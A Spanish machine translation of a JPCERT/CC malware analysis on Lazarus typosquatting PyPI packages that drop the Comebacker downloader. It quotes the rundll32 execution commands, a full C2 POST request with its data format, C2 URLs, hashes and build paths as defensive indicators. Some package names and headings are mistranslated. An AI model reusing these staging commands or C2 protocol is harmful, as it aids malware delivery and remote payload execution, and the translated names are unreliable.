Nuevos paquetes PyPI maliciosos utilizados por Lazarus – JPCERT/CC Eyes
JPCERT/CC ha confirmado que Lazarus ha lanzado paquetes Python maliciosos a PyPI, el repositorio oficial de paquetes Python (Figura 1). Los paquetes de Python confirmados esta vez son los siguientes:
- pycryptoenv
- pycryptoconf
- cuasarlib
- grupo de intercambio
Los nombres de los paquetes pycryptoenv
y pycryptoconf
son similares a pycrypto
, que es un paquete de Python utilizado para algoritmos de cifrado en Python. Por lo tanto, el atacante probablemente preparó los paquetes maliciosos que contienen malware para atacar los errores tipográficos de los usuarios al instalar los paquetes de Python.
Este artículo proporciona detalles sobre estos paquetes maliciosos de Python.
Estructura de archivos de los paquetes maliciosos de Python
Dado que los múltiples paquetes maliciosos de Python confirmados esta vez tienen casi la misma estructura de archivos, este artículo utiliza pycryptoenv
como ejemplo en las siguientes secciones. El paquete malicioso Python tiene la estructura de archivos que se muestra en la Figura 2. El cuerpo principal del malware es un archivo llamado test.py
. Este archivo en sí no es Python sino datos binarios, que es un archivo DLL codificado.
El código a decodificar y ejecutar. test.py
está contenido en __init__.py
como se muestra en la Figura 3. El test.py
es simplemente un archivo DLL codificado con XOR, y se decodifica, se guarda como un archivo y luego se ejecuta mediante __init__.py
.
Este tipo de malware, llamado Comebacker, es el mismo que utilizó Lazarus para atacar a los investigadores de seguridad en un ataque reportado por Google. [1] en enero de 2021. Las siguientes secciones describen los detalles de test.py
.
Detalles de prueba.py
Dado que el código que llama a la función para decodificar y ejecutar test.py
(la función crypt en la Figura 3) no existe en pycryptoenv, el malware no se puede ejecutar simplemente instalando pycryptoenv. Por lo tanto, el atacante probablemente ejecuta el script Python que ejecuta de alguna manera la función crypt en la máquina objetivo. La siguiente sección describe el comportamiento cuando se ejecuta una función que decodifica y ejecuta test.py.
La Figura 4 muestra el proceso desde pycryptoenv hasta la ejecución del cuerpo principal del malware.
Después test.py
está decodificado XOR, se guarda como output.py
y luego ejecutado como un archivo DLL con el siguiente comando.
$ rundll32 output.py,CalculateSum
Los archivos DLL IconCache.db
y NTUSER.DAT
son creados y ejecutados por el siguiente comando. NTUSER.DAT
está codificado y los datos decodificados se ejecutan en la memoria, y estos datos son el cuerpo principal de Comebacker.
RUNDLL32.exe %APPDATA%\..\Roaming\Microsoft\IconCache.db,GetProcFunc %APPDATA%\..\Roaming\Microsoft\Credentials\NTUSER.DAT
Las muestras confirmadas esta vez tienen una clave de decodificación fija, como se muestra en la Figura 5, y se utilizan para decodificar cada archivo.
Además, el código NOP utilizado en este ejemplo tiene una característica única. Como se muestra en la Figura 6, hay un comando que comienza con 66 66 66 66
en medio del código. Esto se usa a menudo, especialmente en las funciones de decodificación y codificación. Esta característica también se encuentra en otros tipos de malware utilizados por Lazarus, incluidos malware BLINDINGCAN.
Detalles del regreso
Comebacker envía la siguiente solicitud HTTP POST a sus servidores C2.
POST /manage/manage.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: chaingrown.com Content-Length: 129 Cache-Control: no-cache NB=XMAFUUCARD&GPETR=NTU1NTY0aHU0Z2psMkRhUA==&FCKA=&YUYRNT=0&POCAYM=52&PQWFQU=MgAwADIANAAtADAAMgAtADAANQAgADIANAA6ADMANAA6ADUANgA=
Los datos POST constan de lo siguiente:
[2 random characters]=[command (determined by string length)]&[random character]=[device ID (base64 encoded)]&[random character]=[not used (base64 encoded)]&[random character]=[number (initially 0 and after receiving data, it becomes the value in the received data.)]&[random character]=[length of the next value]&[random character]=[yyyy-MM-dd hh:mm:ss(base64 encoded)*] *After receiving data from the server, it becomes "yyyy-MM-dd hh:mm:ss|command (same as the first one sent)|number of bytes received"
En respuesta a los datos anteriores enviados, el servidor devuelve un archivo ejecutable de Windows (consulte el Apéndice A para obtener detalles sobre el formato de los datos recibidos). Comebacker tiene una función para ejecutar el archivo ejecutable de Windows recibido en la memoria.
Ataques asociados
Phylum ha informado [2] Un caso similar a este ataque en el pasado. En este caso, un paquete npm contiene Comebacker y, por lo tanto, se considera que el ataque también fue realizado por Lazarus. De esta forma, el atacante pretende propagar infecciones de malware en múltiples repositorios de paquetes.
Para concluir
Los paquetes maliciosos de Python confirmados esta vez se han descargado aproximadamente entre 300 y 1200 veces (Figura 8). Los atacantes pueden estar apuntando a los errores tipográficos de los usuarios para descargar el malware. Cuando instale módulos y otros tipos de software en su entorno de desarrollo, hágalo con cuidado para evitar instalar paquetes no deseados. Para C2 y otra información sobre el malware descrito en este artículo, consulte el Apéndice.
Shusei Tomonaga
(Traducido por Takumi Nakano)
Referencias
Apéndice A: Formato de los datos recibidos
Compensar | Contenido | Notas |
0x00 | cadena hexagonal | Dominio |
0x05 | cadena hexagonal | Bandera de fin (la recepción finaliza si son 3) |
0x07 | cadena hexagonal | Longitud de datos |
0x10 | Datos | Datos Base64 con «+» reemplazados por espacio |
El formato de datos es el siguiente:
[number(number to be included in the next POST data)]|[number(data size to receive)]|[Export function to be called by the downloaded Windows executable file]|[argument for the Export function]|[MD5 hash value]
Apéndice B: C2
- https://blockchain-newtech.com/download/download.asp
- https://fasttet.com/user/agency.asp
- https://chaingrown.com/manage/manage.asp
- http://91.206.178.125/upload/upload.asp
Apéndice C: hash de malware
pycryptoenv-1.0.7.tar.gz
– b4a04b450bb7cae5ea578e79ae9d0f203711c18c3f3a6de9900d2bdfaa4e7f67
pycryptoenv-1.0.7-py3-ninguno-cualquier.whl
– c56c94e21913b2df4be293001da84c3bb20badf823ccf5b6a396f5f49df5efff
pycryptoconf-1.0.6.tar.gz
– 956d2ed558e3c6e447e3d4424d6b14e81f74b63762238e84069f9a7610aa2531
pycryptoconf-1.0.6-py3-ninguno-cualquier.whl
-6bba8f488c23a0e0f753ac21cd83ddeac5c4d14b70d4426d7cdeebdf813a1094
quasarlib-1.0.8.tar.gz
– 173e6bc33efc7a03da06bf5f8686a89bbed54b6fc8a4263035b7950ed3886179
quasarlib-1.0.8-py3-ninguno-cualquier.whl
– 3ab6e6fc888e4df602eff1c5bc24f3e976215d1e4a58f963834e5b225a3821f5
swapmempool-1.0.8.tar.gz
– 60c080a29f58cf861f5e7c7fc5e5bddc7e63dd1db0badc06729d91f65957e9ce
swapmempool-1.0.8-py3-ninguno-cualquier.whl
– 26437bc68133c2ca09bb56bc011dd1b713f8ee40a2acc2488b102dd037641c6e
Regresar
– 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c
-e05142f8375070d1ea25ed3a31404ca37b4e1ac88c26832682d8d2f9f4f6d0ae
Cargador
– 01c5836655c6a4212676c78ec96c0ac6b778a411e61a2da1f545eba8f784e980
– aec915753612bb003330ce7ffc67cfa9d7e3c12310f0ecfd0b7e50abf427989a
– 85c3a2b185f882abd2cc40df5a1a341962bc4616bc78a344768e4de1d5236ab7
– a4e4618b358c92e04fe6b7f94a114870c941be5e323735a2e5cd195138327f8f
-a8a5411f3696b276aee37eee0d9bed99774910a74342bbd638578a315b65e6a6
– 8fb6d8a5013bd3a36c605031e86fd1f6bb7c3fdba722e58ee2f4769a820b86b0
Apéndice D: AP
- F:\workspace\CBG\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
- F:\workspace\CBG\npmLoaderDll\x64\Release\npmLoaderDll.pdb
- D:\workspace\CBG\Windows\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
- F:\workspace\CBG\Loader\publicLoaderFirst\x64\Release\publicLoaderFirst.pdb